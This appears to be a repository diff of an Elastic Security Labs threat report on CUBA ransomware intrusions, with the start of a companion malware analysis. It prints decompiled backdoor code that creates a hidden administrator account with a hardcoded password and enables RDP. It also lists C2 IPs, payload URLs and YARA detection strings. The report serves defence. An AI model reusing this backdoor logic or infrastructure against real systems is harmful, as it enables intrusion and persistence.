c:\windows\system32\inetsrv\w3wp.exe, -ap, MSExchangeOWAAppPool, -v, v4.0, -c, C:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config, -a, \\.\pipe\[redacted], -h, C:\inetpub\temp\apppools\MSExchangeOWAAppPool\MSExchangeOWAAppPool.config, -w, (empty), -m, 0
|
||||
```
|
||||
|
||||
In each case REF9019 activity was traced back to Windows servers running Microsoft’s Exchange Server. Although we do not have information on the patch levels of those machines at the time of the execution or the exact vulnerabilities exploited, there is corroborating evidence regarding the exploitation of publicly accessible Exchange servers at this time generally, as well as specific reporting tied to the CUBA threat actor exploiting them.
|
||||
|
||||
This information combined with the lack of activity preceding this event, as well as the order of tactics after, indicates that in both cases exploitation of publicly accessible Exchange servers initiated the compromise.
|
||||
|
||||
> While analyzing certain alerts throughout these events, we used data present in the process.Ext.memory_region.bytes_compressed field, and the technique we described in our [Cobalt Strike series](https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack), to extract the memory-resident binaries and shellcode.
|
||||
|
||||
## Establish Foothold
|
||||
|
||||
### afk.ttf
|
||||
|
||||
This exploitation attempt preceded one primary infection by about 6 weeks. It appears a tactics shift occurred in the intervening period.
|
||||
|
||||
The file afk.ttf has been identified as a variant of “ZenPak” by some vendors on VirusTotal. ZenPak is categorized as a generic Trojan which has been associated with the Bazar malware family. The BazarBackdoor has a long history and was recently sighted in ransomware-as-a-service campaigns.
|
||||
|
||||
Initially, afk.ttf was identified through a malicious_file alert when it was created by the IIS worker process (w3wp.exe) handling the Exchange Service.
|
||||
|
||||

|
||||
|
||||
The afk.ttf file is a 64-bit Windows DLL that has a single export, bkfkals. Next, afk.ttf is loaded by rundll32.exe (spawned by w3wp.exe) which unpacks shellcode in memory and executes it. The unpacked shellcode is a Meterpreter payload from the offensive security framework, [Metasploit](https://github.com/rapid7/metasploit-framework).
|
||||
|
||||

|
||||
|
||||
Following this, afk.ttf uses an injection technique that allows the injected code to run before the entry point of the main thread of the process. This is known as [Early Bird injection](https://www.cyberbit.com/endpoint-security/new-early-bird-code-injection-technique-discovered/) and is used in this situation to inject the shellcode in a suspended process for nslookup 8.8.8.8. Once the shellcode was deobfuscated for execution, the Elastic Agent identified and prevented the Metasploit payload.
|
||||
|
||||

|
||||
|
||||
Using the process.Ext.memory_region.bytes_compressed field we were able to recover the memory snapshot from these two alerts and verified that the shellcode was Meterpreter, which is part of the Metasploit framework. Additionally, we were able to extract the C2 IP (159.203.70[.]39) and URI (/Time/cb6zubbpio...truncated...).
|
||||
|
||||

|
||||
|
||||
Ultimately this foothold was either never established, or abandoned because there is no further activity from this endpoint until it is re-exploited about 6 weeks later.
|
||||
|
||||
### add2.exe
|
||||
|
||||
The primary execution chain of both infections started with a malicious_file alert that fired upon the creation and execution of add2.exe by the IIS worker process handling the Exchange service. This was the same technique observed previously with the afk.ttf attempt. Interestingly, these executions happened within about 15 minutes of each other on victims in different countries and different industry verticals.
|
||||
|
||||

|
||||
|
||||
The Elastic Malware Analysis and Reverse Engineering (MARE) team was able to [<u>find this file in VirusTotal</u>](https://www.virustotal.com/gui/file/728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da/detection) and pull it down for binary analysis.
|
||||
|
||||
```
|
||||
BOOL sub_4013B0()
|
||||
{
|
||||
int v1;
|
||||
int v2;
|
||||
WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
|
||||
WCHAR ADMINS_groups_list[256];
|
||||
char password[44];
|
||||
wchar_t username[9];
|
||||
v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
|
||||
v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
|
||||
if ( v2 || v1 )
|
||||
{
|
||||
wcscpy(username, L"Mysql");
|
||||
qmemcpy(password, L"KJaoifhLOaiwdhadx1@!", 0x2Au);
|
||||
if ( Add_user((int)username, (int)password) )
|
||||
{
|
||||
if ( v2 )
|
||||
add_user_groups(ADMINS_groups_list, (int)username);
|
||||
if ( v1 )
|
||||
add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);
|
||||
hide_accountName(username); SpecialAccounts\\UserList regkey
|
||||
}
|
||||
}
|
||||
return enable_RDP();
|
||||
}
|
||||
```
|
||||
|
||||
MARE determined that this executable performs several functions:
|
||||
|
||||
Enumerates local administrator and RDP groups.
|
||||
|
||||
```
|
||||
WCHAR REMOTE_DESKTOP_USERS_groups_list[256];
|
||||
WCHAR ADMINS_groups_list[256];
|
||||
char password[44];
|
||||
wchar_t username[9];
|
||||
v2 = enum_local_groups(DOMAIN_ALIAS_RID_ADMINS, ADMINS_groups_list);
|
||||
v1 = enum_local_groups(DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS, REMOTE_DESKTOP_USERS_groups_list);
|
||||
if ( v2 || v1 )
|
||||
```
|
||||
|
||||
Creates a new user Mysql, sets the password to KJaoifhLOaiwdhadx1@!, and sets no expiration date (0x2Au).
|
||||
|
||||
```
|
||||
wcscpy(username, L"Mysql");
|
||||
qmemcpy(password, L"KJaoifhLOaiwdhadx1@!", 0x2Au);
|
||||
if ( Add_user((int)username, (int)password) )
|
||||
```
|
||||
|
||||
Adds this user to the previously enumerated local administrative and RDP groups.
|
||||
|
||||
```
|
||||
if ( v2 )
|
||||
add_user_groups(ADMINS_groups_list, (int)username);
|
||||
if ( v1 )
|
||||
add_user_groups(REMOTE_DESKTOP_USERS_groups_list, (int)username);
|
||||
```
|
||||
|
||||
Sets the SpecialAccounts\UserList regkey for this user to hide the user from login screens and the control panel.
|
||||
|
||||
```
|
||||
hide_accountName(username); regkey
|
||||
```
|
||||
|
||||
Enables RDP by setting the `fDenyTSConnections` value to false in the Registry.
|
||||
|
||||
```
|
||||
return enable_RDP();
|
||||
```
|
||||
|
||||
In total, add2.exe establishes local persistence via a hidden user and opening of a remote access service. This enables the REF9019 actor to connect back to this machine in case of discovery, patching of the vulnerability, or an incomplete eviction.
|
||||
|
||||
Additionally, VirusTotal indicated on the [graph page](https://www.virustotal.com/graph/728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da) that this file has been hosted at `http://208.76.253[.]84`.
|
||||
|
||||
Of particular note, within the strings of add2.exe, we identified a unique program database file (PDB) named AddUser.pdb. PDB files are used to map elements of source code to the compiled program.
|
||||
|
||||

|
||||
|
||||
Searching in VirusTotal for the HEX value of F:\Source\WorkNew17\ (content:\{463a5c536f757263655c576f726b4e65773137\}), we identified another file named ad.exe which shared the same folder structure, and included another PDB file, CmdDLL.pdb.
|
||||
|
||||

|
||||
|
||||
VirusTotal shows on the [graph page](https://www.virustotal.com/graph/http%253A%252F%252F108.170.31.115%252Fadd.dll) that this file has been hosted at `http://108.170.31[.]115/add.dll``. While we did not observe add.dll, we believe they are related and have included the name, hash, and IP in our Observables table as the IP address (108.170.31[.]115) was also [reported](https://www.virustotal.com/gui/ip-address/108.170.31.115/relations) distributing ra.exe (see the NetSupport section below).
|
||||
|
||||
Using this same search criteria, we were able to locate [three](https://any.run/report/bd270853db17f94c2b8e4bd9fa089756a147ed45cbc44d6c2b0c78f361978906/e1579345-7571-4dcb-af4c-e74a4a81d804) [other](https://any.run/report/2213db3f856cbed85a52cfa0275fa6eaba8e852a7e78449ab469d85d1945dc80/ed6077c3-6e2a-4f74-a761-cc0a354cc159) [files](https://www.joesandbox.com/analysis/417560/1/html) with the same PDB debugging artifacts.[<u>SystemBC</u>](https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc) is a socks5 backdoor with the ability to communicate over TOR.
|
||||
|
||||
## Remote Access Tools
|
||||
|
||||
After establishing a beachhead, REF9019 dropped tooling to manage the post-exploitation phase of the attacks. Notably all tools were not present in each attack. It’s unclear if the decision to use one tool over another was merely driven by preference of individual operators, or if there was an operational factor that contributed to the decision.
|
||||
|
||||
### SystemBC
|
||||
|
||||
[<u>SystemBC</u>](https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc) is a socks5 backdoor with the ability to communicate over TOR.
|
||||
|
||||
It was identified via malware_signature alerts that ran after SystemBC was injected into a svchost.exe process.
|
||||
|
||||

|
||||
|
||||
Post processing of the compressed_bytes of the shellcode_thread alert exposed network indicators our sample utilized, including its command and control server (104.217.8[.]100:5050).
|
||||
|
||||
> Check out AhnLab’s ASEC blog for [detailed coverage of SystemBC’s features](https://asec.ahnlab.com/en/33600/).
|
||||
|
||||
Let’s look at the data for the SystemBC binary that was collected from the process.Ext.memory_region.bytes_compressed field.
|
||||
|
||||

|
||||
|
||||
If we run this through the strings command, it becomes a bit more readable. As mentioned above, the work done by the team at ASEC does a tremendous job of describing the SystemBC remote access tool, so we’ll focus on the atomic indicators that we observed.
|
||||
|
||||
```
|
||||
…truncated…
|
||||
BEGINDATA
|
||||
HOST1:104.217.8[.]100
|
||||
HOST2:104.217.8[.]100
|
||||
PORT1:5050
|
||||
…truncated…
|
||||
193.23.244[.]244
|
||||
86.59.21[.]38
|
||||
199.58.81[.]140
|
||||
204.13.164[.]118
|
||||
194.109.206[.]212
|
||||
131.188.40[.]189
|
||||
154.35.175[.]225
|
||||
171.25.193[.]9
|
||||
128.31.0[.]34
|
||||
128.31.0[.]39
|
||||
/tor/status-vote/current/consensus
|
||||
/tor/server/fp/
|
||||
…truncated…
|
||||
```
|
||||
|
||||
The values of HOST1 and HOST2 are [<u>well-documented</u>](https://bazaar.abuse.ch/sample/6b36e8569a8b6150d760c3cfa1f23ff6072d2ab3bedd3633dc269ea6fd5fff9e/)[<u> infrastructure</u>](https://otx.alienvault.com/indicator/file/b9446c5f3fb7dd19e9f495d88431df2f0899ecb2) for the SystemBC tool. The list of 10 IP addresses is Tor [<u>directory authorities</u>](https://metrics.torproject.org/glossary.html#directory-authority). One IP address is selected from the list to get the [<u>consensus data</u>](https://metrics.torproject.org/glossary.html#consensus) for the Tor network. Then it will start Tor communications based on the settings it received (as previously reported by ASEC).
|
||||
|
||||
While we were not able to identify if Tor traffic was executed, this could have been a clandestine way to exfiltrate sensitive data.
|
||||
|
||||
### GoToAssist
|
||||
|
||||
[<u>GoToAssist</u>](https://en.wikipedia.org/wiki/RescueAssist) is a remote desktop support application with some legitimate usage, but also known for its use in tech support scams.In this incident, it was used to download a malicious DLL to the newly created user’s downloads directory (C:\Users\Mysql\Downloads\94-79.dll). We were unable to collect this file and have not observed it later in the incident, however previous reporting has indicated use in CUBA campaigns of DLLs with similar naming conventions.
|
||||
|
||||

|
||||
|
||||
### NetSupport
|
||||
|
||||
NetSupport Manager is another client-server remote desktop management application. In this incident, NetSupport was named ra.exe and was written and executed from the C:\programdata\ directory by the previously exploited IIS worker process (w3wp.exe). ra.exe has been distributed by a previously identified IP address (see add2.exe section above).
|
||||
|
||||

|
||||
|
||||
Our sample is the [<u>NetSupportManager RAT</u>](https://malpedia.caad.fkie.fraunhofer.de/details/win.netsupportmanager_rat) as indicated on [<u>VirusTotal</u>](https://www.virustotal.com/gui/file/5669f6a48dac80717fa5770fa3be6c18022a7633b996ccf0df6b468994085378) and corroborates [<u>prior reporting</u>](https://www.mandiant.com/resources/unc2596-cuba-ransomware) of its usage with the CUBA Ransomware group.When analyzing the process data that we extracted from memory we can see that
|
||||
|
||||
### Cobalt Strike
|
||||
|
||||
Cobalt Strike was used in these intrusions, we confirmed this while reviewing the value of the [<u>Target.process.thread.Ext.start_address_bytes</u>](https://docs.elastic.co/en/integrations/endpoint) (a few (typically 32) raw opcode bytes at the thread start address, hex-encoded). Upon doing this, we observed bytes commonly observed in Cobalt Strike payloads.
|
||||
|
||||
When analyzing the process data that we extracted from memory we can see that dhl.jpg (from mvnetworking[.]com) and temp.png (from bluetechsupply[.]com) are being used for command and control. This is corroborated by [<u>previous </u>](https://twitter.com/drb_ra/status/1482117406122201095)[<u>research</u>](https://www.darktrace.com/en/inside-the-soc/how-antigena-intercepted-and-delayed-a-cobalt-strike-intrusion/).
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Looking at the domains in Shodan ([[<u>1</u>](https://www.shodan.io/search?query=mvnetworking.com)][[<u>2</u>](https://www.shodan.io/search?query=bluetechsupply.com)]), we can see that they are both categorized as Cobalt Strike beacon C2 infrastructure.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
Both sites are hosted by a cloud provider, Hivelocity, Inc. We have requested the domains be taken down.
|
||||
|
||||
### BUGHATCH
|
||||
|
||||
BUGHATCH is the name given to a Cuba Ransomware associated downloader by Mandiant in their blog on [<u>UNC2596</u>](https://www.mandiant.com/resources/unc2596-cuba-ransomware). We detail the observed execution chain and indicators below.
|
||||
|
||||
BUGHATCH was launched via PowerShell script stagers in both cases. One execution was following the dropping of a malicious DLL to the Mysql user’s downloads folder (C:\Users\Mysql\Downloads\14931s.dll). Download URI for the next stage was found in the Target.process.Ext.memory_region.strings (`http://64.235.39[.]82/Agent32.bin`).
|
||||
|
||||

|
||||
|
||||
In the above example, we observed agsyst82.ps1 downloading Agent32.bin from 64.235.39[.]82, but were unable to collect the PowerShell script. However, while performing open-source research, we identified a PowerShell script on ANY.RUN that performed network connections to the same IP and URL (`http://64.235.39[.]82/Agent32.bin`). The script is named komar.ps1 in ANY.RUN’s analysis. We are associating these two PowerShell scripts and network activity together.
|
||||
|
||||

|
||||
|
||||
The other PowerShell script was called by a malicious file, cps.exe. This PowerShell script is called komar2.ps1 and downloads Agent32.bin from 38.108.119[.]121.
|
||||
|
||||

|
||||
|
||||
komar2.ps1 next attempts to inject itself into svchost.exe from C:\Windows\Sysnative\svchost.exe.
|
||||
|
||||

|
||||
|
||||
> For context, the C:\Windows\Sysnative path is a legitimate Windows directory and used to allow 32-bit applications to access the System32 folder on a 64-bit version of Windows. This path has also been observed as a [SpawnTo parameter](https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/) in Cobalt Strike process injection configurations.
|
||||
|
||||
This new injected process again executes komar2.ps1 and includes a new PDB entry of F:\Source\Mosquito\Agent\x64\Release\Agent.pdb. As we discussed above, “komar” means “mosquito” in Polish and is a good indicator as a way to identify other related entities; we see “Mosquito” in the path of the PDB. While a weak association by itself, the PDB in this sample is located in F:\Source\, which is the same location that we’d observed with F:\Source\WorkNew## above for add2.exe. By themselves, they are not a solid reference point between the two samples, but when compared together, they can be categorized as “interesting”.
|
||||
|
||||
Based on analysis of the Agent32.bin file, we believe that this is the BUGHATCH malware. BUGHATCH has been observed being used as a downloader in CUBA ransomware incidents. This aligns to how we observed Agent32.bin. BUGHATCH has been [<u>covered in the UNC2596 blog</u>](https://www.mandiant.com/resources/unc2596-cuba-ransomware) by the team at Mandiant.
|
||||
|
||||
## Credential Harvesting, Internal Reconnaissance, and Lateral Movement
|
||||
|
||||
Credential harvesting was observed through process injection into the GoToAssistUnattendedUi.exe binaries. These appear to be the legitimate files for the Go To Assist suite. The credential harvesting was accomplished by using Meterpreter and Mimikatz.
|
||||
|
||||
### Meterpreter
|
||||
|
||||
As we observed in the initial infection several months prior, Meterpreter was observed being used to collect the SAM database using the [<u>hashdump module</u>](https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics/#:~:text=SYSTEM%0Ameterpreter%20%3E-,hashdump,-The%20hashdump%20post). As previously, this was observed in the Target.process.Ext.memory_region.strings fields.
|
||||
|
||||

|
||||
|
||||
### Mimikatz
|
||||
|
||||
Similarly to the Meterpreter tool markings, we also observed [<u>Mimikatz</u>](https://attack.mitre.org/software/S0002/). Mimikatz is an offensive security tool used to collect and inject passwords from compromised systems. It uses the [<u>SEKURLSA::LogonPasswords</u>](https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords) module to list all available provider credentials, and this was observed in the Target.process.Ext.memory_region.strings fields.
|
||||
|
||||

|
||||
|
||||
### Zerologon Exploit
|
||||
|
||||
Next the threat actors attempted to use a file called zero.exe, which is used to exploit the [<u>Zerologon vulnerability</u>](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472) to escalate privileges. This file is referenced in [<u>previous reporting</u>](https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/) and is executed on a vulnerable domain controller to dump the NTLM hash for the Administrator. This is a common tactic for lateral movement and to deploy additional implants into the environment, such as Cobalt Strike.
|
||||
|
||||
### PsExec
|
||||
|
||||
[<u>PsExec</u>](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) is a legitimate utility, part of the SysInternals suite of tools, used to interactively launch processes on remote systems. PsExec is a common tool for remote administration, both benign and malicious.
|
||||
|
||||
While we cannot validate how specifically PsExec was used because there was not an SMB parser on the infected hosts, we can see that PsExec was used to move files between the infected hosts. We cannot confirm that this was not normal administration by the local IT staff, but the only activity observed was between infected hosts and was within the time window of other confirmed malicious activity.
|
||||
|
||||

|
||||
|
||||
### Using LOLBAS
|
||||
|
||||
[<u>Living off the land binaries, scripts, and libraries (LOLBAS)</u>](https://lolbas-project.github.io/#) is a commonly leveraged method to use native and benign tools for malicious purposes. This reduces attacker tools that need to be moved into the environment as well as to appear more like legitimate processes running in a targeted environment.
|
||||
|
||||
In one intrusion we observed PsExec being used to remotely copy files (see the PsExec section), however in another environment, we observed similar activity to move files using cmd.exe to move files from one host to another. We were unable to collect the files that were being moved for analysis, but they were a DLL and a Batch file named d478.dll and d478.bat, and the atomic indicators are stored in the Observations table.
|
||||
|
||||

|
||||
|
||||
## Data Exfiltration
|
||||
|
||||
The CUBA group belongs to a variant of ransomware operators in that they use extortion as a mechanism to coerce payments from their victims.
|
||||
|
||||
In these situations, once initial access and a foothold is achieved, threat actors will identify potentially sensitive data and exfiltrate it off of the environment to use for threats of “name and shame”.
|
||||
|
||||
The CUBA group runs a website on the dark web where they release data from victims that do not pay. CUBA releases some data for free, and for others that are more lucrative, have a payment option.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
There are multiple ways that the victim data could have been exfiltrated for extortion, the presence of BUGHATCH, Meterpreter, and Cobalt Strike all have data movement capabilities.
|
||||
|
||||
## Defense Evasion and Actions on the Objective
|
||||
|
||||
### DefenderControl.exe
|
||||
|
||||
To prevent the detection of their malware, the threat actors used [<u>Defender Control</u>](https://www.sordum.org/9480/defender-control-v2-1/) as a way to disable Microsoft Defender, the native antivirus built into all Windows systems since Vista.
|
||||
|
||||
To ensure that Defender Control continued to run, the threat actor used svchost.exe to create a scheduled task.
|
||||
|
||||

|
||||
|
||||
### CUBA Ransomware
|
||||
|
||||
We detail the observed execution chain and indicators above, but please see Elastic MARE’s detailed reverse engineering of this sample [here](https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis).
|
||||
|
||||

|
||||
|
||||
## Diamond Model
|
||||
|
||||
Elastic Security utilizes the [<u>Diamond Model</u>](https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf) to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.
|
||||
|
||||

|
||||
|
||||
## Observed Adversary Tactics and Techniques
|
||||
|
||||
### Tactics
|
||||
|
||||
Using the MITRE ATT&CK® framework, tactics represent the why of a technique or sub technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
- Initial access
|
||||
- Persistence
|
||||
- Privilege escalation
|
||||
- Defense evasion
|
||||
- Credential access
|
||||
- Discovery
|
||||
- Lateral movement
|
||||
- Command & Control
|
||||
- Exfiltration
|
||||
- Impact
|
||||
|
||||
It should be noted that we did not observe the Collection tactic, but based on the evidence of Exfiltration and Impact, this would have been completed.
|
||||
|
||||
### Techniques / Sub Techniques
|
||||
|
||||
Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
As noted throughout this research, this covered multiple victims over a large period of time. The CUBA intrusion set has been reported using different techniques and sub techniques, but these are our specific observations.
|
||||
|
||||
Observed techniques/sub techniques.
|
||||
|
||||
- Exploit Public-Facing Application
|
||||
- Command and Scripting Interpreter - PowerShell, Windows Command Shell
|
||||
- Scheduled Task/Job - Scheduled Task
|
||||
- Boot or Logon Autostart Execution - Registry Run Keys/Startup Folder
|
||||
- Create Account - Local Account
|
||||
- OS Credential Dumping - LSA Secrets
|
||||
- Data Encrypted for Impact
|
||||
- Hide Artifact - Hidden Window
|
||||
- Masquerading - Match Legitimate Name or Location
|
||||
- Obfuscated Files or Information
|
||||
- Reflective Code Loading
|
||||
|
||||
## Detection
|
||||
|
||||
### YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this BUGHATCH and CUBA ransomware activity.
|
||||
|
||||
```
|
||||
rule Windows_Trojan_Bughatch {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2022-05-09"
|
||||
last_modified = "2022-05-09"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "Bughatch"
|
||||
threat_name = "Windows.Trojan.Bughatch"
|
||||
reference_sample = "b495456a2239f3ba48e43ef295d6c00066473d6a7991051e1705a48746e8051f"
|
||||
strings:
|
||||
$a1 = { 8B 45 ?? 33 D2 B9 A7 00 00 00 F7 F1 85 D2 75 ?? B8 01 00 00 00 EB 33 C0 }
|
||||
$a2 = { 8B 45 ?? 0F B7 48 04 81 F9 64 86 00 00 75 3B 8B 55 ?? 0F B7 42 16 25 00 20 00 00 ?? ?? B8 06 00 00 00 EB ?? }
|
||||
$b1 = { 69 4D 10 FD 43 03 00 81 C1 C3 9E 26 00 89 4D 10 8B 55 FC 8B 45 F8 0F B7 0C 50 8B 55 10 C1 EA 10 81 E2 FF FF 00 00 33 CA 8B 45 FC 8B 55 F8 66 89 0C 42 }
|
||||
$c1 = "-windowstyle hidden -executionpolicy bypass -file"
|
||||
$c2 = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\PowerShell.exe"
|
||||
$c3 = "ReflectiveLoader"
|
||||
$c4 = "\\Sysnative\\"
|
||||
$c5 = "TEMP%u.CMD"
|
||||
$c6 = "TEMP%u.PS1"
|
||||
$c7 = "\\TEMP%d.%s"
|
||||
$c8 = "NtSetContextThread"
|
||||
$c9 = "NtResumeThread"
|
||||
condition:
|
||||
($a1 or $a2 or $b1) or 6 of ($c*)
|
||||
}
|
||||
|
||||
rule Windows_Ransomware_Cuba {
|
||||
meta:
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
category_type = "Ransomware"
|
||||
family = "Cuba"
|
||||
threat_name = "Windows.Ransomware.Cuba"
|
||||
Reference_sample =
|
||||
"33352a38454cfc247bc7465bf177f5f97d7fd0bd220103d4422c8ec45b4d3d0e"
|
||||
|
||||
strings:
|
||||
$a1 = { 45 EC 8B F9 8B 45 14 89 45 F0 8D 45 E4 50 8D 45 F8 66 0F 13 }
|
||||
$a2 = { 8B 06 81 38 46 49 44 45 75 ?? 81 78 04 4C 2E 43 41 74 }
|
||||
$b1 = "We also inform that your databases, ftp server and file server were downloaded by us to our servers." ascii fullword
|
||||
$b2 = "Good day. All your files are encrypted. For decryption contact us." ascii fullword
|
||||
$b3 = ".cuba" wide fullword
|
||||
|
||||
condition:
|
||||
any of ($a*) or all of ($b*)
|
||||
}
|
||||
```
|
||||
|
||||
## Defensive Recommendations
|
||||
|
||||
- Enable Elastic Security Memory and Ransomware protections
|
||||
|
||||
- Review and ensure that you have deployed the latest Microsoft Security Updates
|
||||
- Maintain backups of your critical systems to aid in quick recovery
|
||||
- Attack surface reduction
|
||||
- Network segmentation
|
||||
|
||||
## Observations
|
||||
|
||||
Atomic indicators observed in our investigation.
|
||||
|
||||
|
|
||||
| |
|
||||
| Indicator | Type | Reference from blog | Note |
|
||||
| --- | --- | --- | --- |
|
||||
| 43f7d739f00c2fdc67f7ab6b976565a323a181fb6570ac3d261dff197f820165 | SHA-256 | afk.ttf | |
|
||||
| 159.203.70[.]39 | ipv4-addr | afk.ttf C2 IP | |
|
||||
| 728994be6b928de3d1c7b49ca1c79db8656c1cf4b95a1e508a6be48c6ab407da | SHA-256 | add2.exe | |
|
||||
| 208.76.253[.]84 | ipv4-addr | add2.exe C2 IP | |
|
||||
| c24d7a93d6a5c33e673e6b0fd171701c4646e67cf2328f41739ef9b50302a02e | SHA-256 | add.dll | |
|
||||
| 108.170.31[.]115 | ipv4-addr | add.dll C2 IP | |
|
||||
| 62f1fbb6f151bcc67fe68e06031af00bc87ae7e4d9d0a6a60a31d140def09365 | SHA-256 | 94-79.dll | |
|
||||
| 5669f6a48dac80717fa5770fa3be6c18022a7633b996ccf0df6b468994085378 | SHA-256 | ra.exe | |
|
||||
| 9c71b67411b1432931b4b135dc945f6f7f9da3c295a7449f3ab8dcb56681fa70 | SHA-256 | cps.exe | |
|
||||
| e35632770a23d8e006e149b038c2ccf576c2da0998d830bbc7d7614dc5c22db5 | SHA-256 | 14931s.dll | |
|
||||
| 38.108.119[.]121 | ipv4-addr | Agent32.bin stage location | |
|
||||
| 64.235.39[.]82 | ipv4-addr | Agent32.bin stage location | |
|
||||
| 17edf458f7b8baae5ddef725e255d3a7bb6c960830503556f157655308895128 | SHA-256 | Agent32.bin (BUGHATCH) | |
|
||||
| 2e6fffad384cd6ce93cc1cde97911063e640c1953dac0507cd5f5b4b3d21bb69 | SHA-256 | Agent32.bin (BUGHATCH) | |
|
||||
| 144.172.83[.]13 | ipv4-addr | Agent32.bin C2 IP | |
|
||||
| 3a8b7c1fe9bd9451c0a51e4122605efc98e7e4e13ed117139a13e4749e211ed0 | SHA-256 | zero.exe | |
|
||||
| cdf2b3fbff2649a119051c63904476e70262bde2f6a9a7da8b7db13cbf257851 | SHA-256 | d478.dll | |
|
||||
| 104.217.8[.]100 | ipv4-addr | SystemBC infrastructure | |
|
||||
| 193.23.244[.]244 | ipv4-addr | SystemBC Tor directory authority | |
|
||||
| 86.59.21[.]38 | ipv4-addr | SystemBC Tor directory authority | |
|
||||
| 199.58.81[.]140 | ipv4-addr | SystemBC Tor directory authority | |
|
||||
| 204.13.164[.]118 | ipv4-addr | SystemBC Tor directory authority | |
|
||||
| 194.109.206[.]212 | ipv4-addr | SystemBC Tor directory authority | |
|
||||
| 131.188.40[.]189 | ipv4-addr | SystemBC Tor directory authority | |
|
||||
| 154.35.175[.]225 | ipv4-addr | SystemBC Tor directory authority | |
|
||||
| 171.25.193[.]9 | ipv4-addr | SystemBC Tor directory authority | |
|
||||
| 128.31.0[.]34 | ipv4-addr | SystemBC Tor directory authority | |
|
||||
| 128.31.0[.]39 | ipv4-addr | SystemBC Tor directory authority | |
|
||||
| bluetechsupply[.]com/components/temp.png | url | Cobalt Strike C2 URL | |
|
||||
| bluetechsupply[.]com | domain-name | Cobalt Strike C2 | |
|
||||
| 217.79.243[.]148 | ipv4-addr | Cobalt Strike C2 | |
|
||||
| mvnetworking[.]com | domain-name | Cobalt Strike C2 | |
|
||||
| mvnetworking[.]com/files/dhl.jpg | url | Cobalt Strike C2 URL | |
|
||||
| 149.255.35[.]131 | ipv4-addr | Cobalt Strike C2 | |
|
||||
| ce3a6224dae98fdaa712cfa6495cb72349f333133dbfb339c9e90699cbe4e8e4 | SHA-256 | defender.exe \ DefenderControl.exe | |
|
||||
| 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 | SHA-256 | A.exe \ (CUBA RANSOMWARE) | |
|
||||
| b16e0d27e6fa24d3fe7c9ed9167474fbc1cde13ce047878bbd16548cfdf45be3 | SHA-256 | Anet.exe(CUBA RANSOMWARE) | |
|
|
@ -0,0 +1,443 @@
|
|||
---
|
||||
title: "CUBA Ransomware Malware Analysis"
|
||||
slug: "cuba-ransomware-malware-analysis"
|
||||
date: "2023-02-14"
|
||||
description: "Elastic Security has performed a deep technical analysis of the CUBA ransomware family. This includes malware capabilities as well as defensive countermeasures."
|
||||
author:
|
||||
- slug: salim-bitam
|
||||
image: "blog-thumb-coin-stacks.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
tags:
|
||||
- ref9019
|
||||
- cuba
|
||||
- ransomware
|
||||
---
|
||||
|
||||
## Summary
|
||||
|
||||
As a part of Elastic Security’s ongoing threat detection and monitoring efforts, we have recently observed a ransomware intrusion by the CUBA ransomware threat group, internally tracked as REF9019. This report will detail the inner workings of the ransomware deployed inside the network to encrypt the victim’s files. Cuba ransomware provides the attacker with the flexibility to encrypt both local and network shares files in the enterprise. CUBA uses the ChaCha20 cipher algorithm for symmetric encryption and RSA encryption to protect the ChaCha20 keys. CUBA is multithreaded for faster encryption with resource access synchronization to avoid file corruption.
|
||||
|
||||
In this analysis we will describe the following:
|
||||
|
||||
- Operations mode
|
||||
- Process and services termination
|
||||
- Enumeration of volumes
|
||||
- Threading implementation
|
||||
- File encryption and algorithms used
|
||||
- MITRE Attack mapping
|
||||
- YARA rule
|
||||
- Indicators of compromise
|
||||
|
||||
### Static Analysis
|
||||
|
||||
| | |
|
||||
| --------------- | ---------------------------------------------------------------- | --- |
|
||||
| SHA256 Packed | 0f385cc69a93abeaf84994e7887cb173e889d309a515b55b2205805bdfe468a3 |
|
||||
| SHA256 Unpacked | 3654af86dc682e95c811e4fd87ea405b627bca81c656f3a520a4b24bf2de879f |
|
||||
| File Size | 135168 bytes |
|
||||
| FileType: | Executable |
|
||||
| Imphash: | CA5F4AF10ABC885182F3FB9ED425DE65 |
|
||||
| Compile Time | Wed Mar 09 22:00:31 2022 | UTC |
|
||||
| Entropy | 6.582 |
|
||||
|
||||
### Sections
|
||||
|
||||
| | | | | | |
|
||||
| ------ | -------------- | ------------ | -------- | ------- | -------------------------------- |
|
||||
| Name | VirtualAddress | Virtual Size | Raw Size | Entropy | MD5 |
|
||||
